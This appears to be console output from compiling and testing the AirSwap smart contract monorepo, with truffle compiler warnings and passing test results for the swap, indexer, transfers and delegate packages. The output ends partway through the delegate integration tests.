openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address 